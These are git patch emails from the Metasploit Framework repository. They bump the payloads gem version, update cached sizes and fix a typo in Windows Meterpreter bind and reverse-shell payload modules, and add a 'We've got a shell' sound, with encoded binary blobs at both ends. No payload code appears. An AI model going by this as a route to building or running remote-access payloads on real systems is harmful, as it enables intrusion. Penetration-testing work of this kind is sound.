zV;g}&jF7E;)MP+50AQ@lPfbAx1$g1op*Pab8&{=dhqgq-6O%CMQj`h?Fb^RBV6dK} zy}sxl9X4x`4@Cy=jXq*W?zn9&_U`=`Qt${(*FhJ&uLq#LDCXemj1%b^c5>7`Q428Y zEEr&8|8ZfMt7Lp*r3g*DHldSSy;$K%hM!#W=3@5<DtnYVeY|z+JRsQtmc`J9E@-=R zs{NIBELYDV$H}HhHIlBmNk6YCV7PiC1YiUJNgb6&fC$Fs61XSVP*QGytaMYURcZ5{ zk`*y~cZ4*6DY;yHWJPBJa<I!lx#Gd|H*O!Z7Vr3uOaJ?B<7Z*(U61yd7X}49BLnZK z4;R!El&HB5u^}s{PeSqN9a36Z*c^#jI;N)&Pgc0To$~)q2MbCcZKDpguJ}vlCo?ap zN1c-sC+BX^acD_4yU~dsx2yp$Fu*w&`nH-7B)x!Gqa?ivCzsh*U�x&cj=tpk<d! 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 S0NhS31^?aY|Mved1AhXj;E`nj literal 0 HcmV?d00001 From c8461bfb245c3d20e3ceb5bf87f0011557271ebc Mon Sep 17 00:00:00 2001 From: Brent Cook <bcook@rapid7.com> Date: Wed, 25 Nov 2015 22:03:28 -0600 Subject: [PATCH 1334/2172] update to metasploit-payloads 1.0.17 --- Gemfile.lock | 4 ++-- metasploit-framework.gemspec | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index c4b48a1c70..6142bbc128 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -11,7 +11,7 @@ PATH metasm (~> 1.0.2) metasploit-concern (= 1.0.0) metasploit-model (= 1.0.0) - metasploit-payloads (= 1.0.16) + metasploit-payloads (= 1.0.17) msgpack nokogiri packetfu (= 1.1.11) @@ -127,7 +127,7 @@ GEM activemodel (>= 4.0.9, < 4.1.0) activesupport (>= 4.0.9, < 4.1.0) railties (>= 4.0.9, < 4.1.0) - metasploit-payloads (1.0.16) + metasploit-payloads (1.0.17) metasploit_data_models (1.2.9) activerecord (>= 4.0.9, < 4.1.0) activesupport (>= 4.0.9, < 4.1.0) diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index 2cd9c6bbb7..b846537a29 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -63,7 +63,7 @@ Gem::Specification.new do |spec| # are needed when there's no database spec.add_runtime_dependency 'metasploit-model', '1.0.0' # Needed for Meterpreter - spec.add_runtime_dependency 'metasploit-payloads', '1.0.16' + spec.add_runtime_dependency 'metasploit-payloads', '1.0.17' # Needed by msfgui and other rpc components spec.add_runtime_dependency 'msgpack' # Needed by anemone crawler From d984e5c781e911b006094969069d29e19d3c9e26 Mon Sep 17 00:00:00 2001 From: Brent Cook <bcook@rapid7.com> Date: Wed, 25 Nov 2015 22:04:52 -0600 Subject: [PATCH 1335/2172] update payload sizes --- modules/payloads/singles/windows/meterpreter_bind_tcp.rb | 2 +- modules/payloads/singles/windows/meterpreter_reverse_http.rb | 2 +- modules/payloads/singles/windows/meterpreter_reverse_https.rb | 2 +- .../payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb | 2 +- modules/payloads/singles/windows/meterpreter_reverse_tcp.rb | 2 +- modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb | 2 +- .../payloads/singles/windows/x64/meterpreter_reverse_http.rb | 2 +- .../payloads/singles/windows/x64/meterpreter_reverse_https.rb | 2 +- .../singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb | 2 +- modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb | 2 +- 10 files changed, 10 insertions(+), 10 deletions(-) diff --git a/modules/payloads/singles/windows/meterpreter_bind_tcp.rb b/modules/payloads/singles/windows/meterpreter_bind_tcp.rb index 0193e8b390..2918bb0cb4 100644 --- a/modules/payloads/singles/windows/meterpreter_bind_tcp.rb +++ b/modules/payloads/singles/windows/meterpreter_bind_tcp.rb @@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config' module Metasploit4 - CachedSize = 957486 + CachedSize = 957487 include Msf::Payload::TransportConfig include Msf::Payload::Windows diff --git a/modules/payloads/singles/windows/meterpreter_reverse_http.rb b/modules/payloads/singles/windows/meterpreter_reverse_http.rb index a50a63fa8c..b956eebe29 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_http.rb @@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config' module Metasploit4 - CachedSize = 958530 + CachedSize = 958531 include Msf::Payload::TransportConfig include Msf::Payload::Windows diff --git a/modules/payloads/singles/windows/meterpreter_reverse_https.rb b/modules/payloads/singles/windows/meterpreter_reverse_https.rb index a0e72c7266..8b5ea04202 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_https.rb @@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config' module Metasploit4 - CachedSize = 958530 + CachedSize = 958531 include Msf::Payload::TransportConfig include Msf::Payload::Windows diff --git a/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb b/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb index 04e7e0ddd8..51597e29f1 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb @@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config' module Metasploit4 - CachedSize = 957486 + CachedSize = 957487 include Msf::Payload::TransportConfig include Msf::Payload::Windows diff --git a/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb b/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb index c8567fdb8f..b2d529ee3d 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb @@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config' module Metasploit3 - CachedSize = 957486 + CachedSize = 957487 include Msf::Payload::TransportConfig include Msf::Payload::Windows diff --git a/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb b/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb index 47c9d1627a..abf0698244 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb @@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config' module Metasploit4 - CachedSize = 1187890 + CachedSize = 1188911 include Msf::Payload::TransportConfig include Msf::Payload::Windows diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb index 351a70afef..af99ffd34a 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb @@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config' module Metasploit4 - CachedSize = 1188934 + CachedSize = 1189955 include Msf::Payload::TransportConfig include Msf::Payload::Windows diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb index bda35e112c..459ff5f84a 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb @@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config' module Metasploit4 - CachedSize = 1188934 + CachedSize = 1189955 include Msf::Payload::TransportConfig include Msf::Payload::Windows diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb index 86f1050bd5..074942020e 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb @@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config' module Metasploit4 - CachedSize = 1187890 + CachedSize = 1188911 include Msf::Payload::TransportConfig include Msf::Payload::Windows diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb index 535991b261..dce63e4f7b 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb @@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config' module Metasploit4 - CachedSize = 1187890 + CachedSize = 1188911 include Msf::Payload::TransportConfig include Msf::Payload::Windows From 78e306e281455be162be4f2719d5ba1187b4cfa9 Mon Sep 17 00:00:00 2001 From: Brent Cook <bcook@rapid7.com> Date: Wed, 25 Nov 2015 22:07:25 -0600 Subject: [PATCH 1336/2172] s/Initialision/Initialization/ --- modules/payloads/singles/windows/meterpreter_bind_tcp.rb | 2 +- modules/payloads/singles/windows/meterpreter_reverse_http.rb | 2 +- modules/payloads/singles/windows/meterpreter_reverse_https.rb | 2 +- .../payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb | 2 +- modules/payloads/singles/windows/meterpreter_reverse_tcp.rb | 2 +- modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb | 2 +- .../payloads/singles/windows/x64/meterpreter_reverse_http.rb | 2 +- .../payloads/singles/windows/x64/meterpreter_reverse_https.rb | 2 +- .../singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb | 2 +- modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb | 2 +- 10 files changed, 10 insertions(+), 10 deletions(-) diff --git a/modules/payloads/singles/windows/meterpreter_bind_tcp.rb b/modules/payloads/singles/windows/meterpreter_bind_tcp.rb index 2918bb0cb4..35cca34308 100644 --- a/modules/payloads/singles/windows/meterpreter_bind_tcp.rb +++ b/modules/payloads/singles/windows/meterpreter_bind_tcp.rb @@ -36,7 +36,7 @@ module Metasploit4 register_options([ OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']), - OptString.new('EXTINIT', [false, 'Initialision strings for extensions']) + OptString.new('EXTINIT', [false, 'Initialization strings for extensions']) ], self.class) end diff --git a/modules/payloads/singles/windows/meterpreter_reverse_http.rb b/modules/payloads/singles/windows/meterpreter_reverse_http.rb index b956eebe29..cf8c6f0fd1 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_http.rb @@ -36,7 +36,7 @@ module Metasploit4 register_options([ OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']), - OptString.new('EXTINIT', [false, 'Initialision strings for extensions']) + OptString.new('EXTINIT', [false, 'Initialization strings for extensions']) ], self.class) end diff --git a/modules/payloads/singles/windows/meterpreter_reverse_https.rb b/modules/payloads/singles/windows/meterpreter_reverse_https.rb index 8b5ea04202..32fe451235 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_https.rb @@ -36,7 +36,7 @@ module Metasploit4 register_options([ OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']), - OptString.new('EXTINIT', [false, 'Initialision strings for extensions']) + OptString.new('EXTINIT', [false, 'Initialization strings for extensions']) ], self.class) end diff --git a/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb b/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb index 51597e29f1..831e479db2 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb @@ -36,7 +36,7 @@ module Metasploit4 register_options([ OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']), - OptString.new('EXTINIT', [false, 'Initialision strings for extensions']), + OptString.new('EXTINIT', [false, 'Initialization strings for extensions']), OptInt.new("SCOPEID", [false, "The IPv6 Scope ID, required for link-layer addresses", 0]) ], self.class) end diff --git a/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb b/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb index b2d529ee3d..f84eac31bd 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb @@ -36,7 +36,7 @@ module Metasploit3 register_options([ OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']), - OptString.new('EXTINIT', [false, 'Initialision strings for extensions']), + OptString.new('EXTINIT', [false, 'Initialization strings for extensions']), ], self.class) end diff --git a/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb b/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb index abf0698244..100760fd6d 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb @@ -36,7 +36,7 @@ module Metasploit4 register_options([ OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']), - OptString.new('EXTINIT', [false, 'Initialision strings for extensions']) + OptString.new('EXTINIT', [false, 'Initialization strings for extensions']) ], self.class) end diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb index af99ffd34a..7d493b49e9 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb @@ -36,7 +36,7 @@ module Metasploit4 register_options([ OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']), - OptString.new('EXTINIT', [false, 'Initialision strings for extensions']) + OptString.new('EXTINIT', [false, 'Initialization strings for extensions']) ], self.class) end diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb index 459ff5f84a..951dad4425 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb @@ -36,7 +36,7 @@ module Metasploit4 register_options([ OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']), - OptString.new('EXTINIT', [false, 'Initialision strings for extensions']) + OptString.new('EXTINIT', [false, 'Initialization strings for extensions']) ], self.class) end diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb index 074942020e..519e5ed6d3 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb @@ -36,7 +36,7 @@ module Metasploit4 register_options([ OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']), - OptString.new('EXTINIT', [false, 'Initialision strings for extensions']), + OptString.new('EXTINIT', [false, 'Initialization strings for extensions']), OptInt.new("SCOPEID", [false, "The IPv6 Scope ID, required for link-layer addresses", 0]) ], self.class) end diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb index dce63e4f7b..7ed67c7a06 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb @@ -36,7 +36,7 @@ module Metasploit4 register_options([ OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']), - OptString.new('EXTINIT', [false, 'Initialision strings for extensions']) + OptString.new('EXTINIT', [false, 'Initialization strings for extensions']) ], self.class) end From 776455d10a8628777106dedddb4e544892d7c2eb Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Wed, 25 Nov 2015 22:46:51 -0600 Subject: [PATCH 1337/2172] Add another sound and event Add sound: "We've got a shell" Add event on_session_fail --- data/sounds/default/session_open.mp3 | Bin 0 -> 15906 bytes .../ui/console/command_dispatcher/exploit.rb | 9 ++++++- lib/msf/ui/console/framework_event_manager.rb | 3 +++ plugins/sounds.rb | 23 +++++++++++++----- 4 files changed, 28 insertions(+), 7 deletions(-) create mode 100755 data/sounds/default/session_open.mp3 diff --git a/data/sounds/default/session_open.mp3 b/data/sounds/default/session_open.mp3 new file mode 100755 index 0000000000000000000000000000000000000000..e39d3031348c678eeb37eba10386af65e48cd12e GIT binary patch literal 15906 zcmds;^;a8FxA#M^5CRSE6n7}v;sg)w4#kTX*U}Q)-L<$=yjWY@-CDG`Q>?T&x%9c~ z`R!frA8_|tlbOkx+2=d+S?A22bM`36@Sy_!*)wf*S)Qjg`qSd%>EVvNOF;Yg|NqYv z-o9~uDu4F0FaiMLSO5$R92^`%LP81(IyyR5R#tBASFc`)i;K(3$|@^sX=xc47?_#a z*x0;%`_|Lb-`_ttI5;XQDlsu5Bje-8kENy6)zyuSjqUB--Q7b&Lz9z}-@mV}u5NE{ zA01s>T-@B;AdydX2`Nje$ntRs3Av$E{#PC$f&tA<4gf&>(@`n>{_(#B|7X|#3kYQp zMT-h#2H-VgvnYT7p84A7WQG7x9;hn$xS#F?P}>CpxuyXD&2Ih#uOpr|aL=UA{KY{) zK=7BRUz7;QbL81z_wRcs8n^#*2_zb>b@x*_pk>|6+zbXq>;8R&*$sHwpjr=Kzy9!a zM%=UT0U!WDgNnI^)c4<eq(MG{D336^gjJUmKPRC(AJ*>5660IdIrAS}o`~G^*(3<i 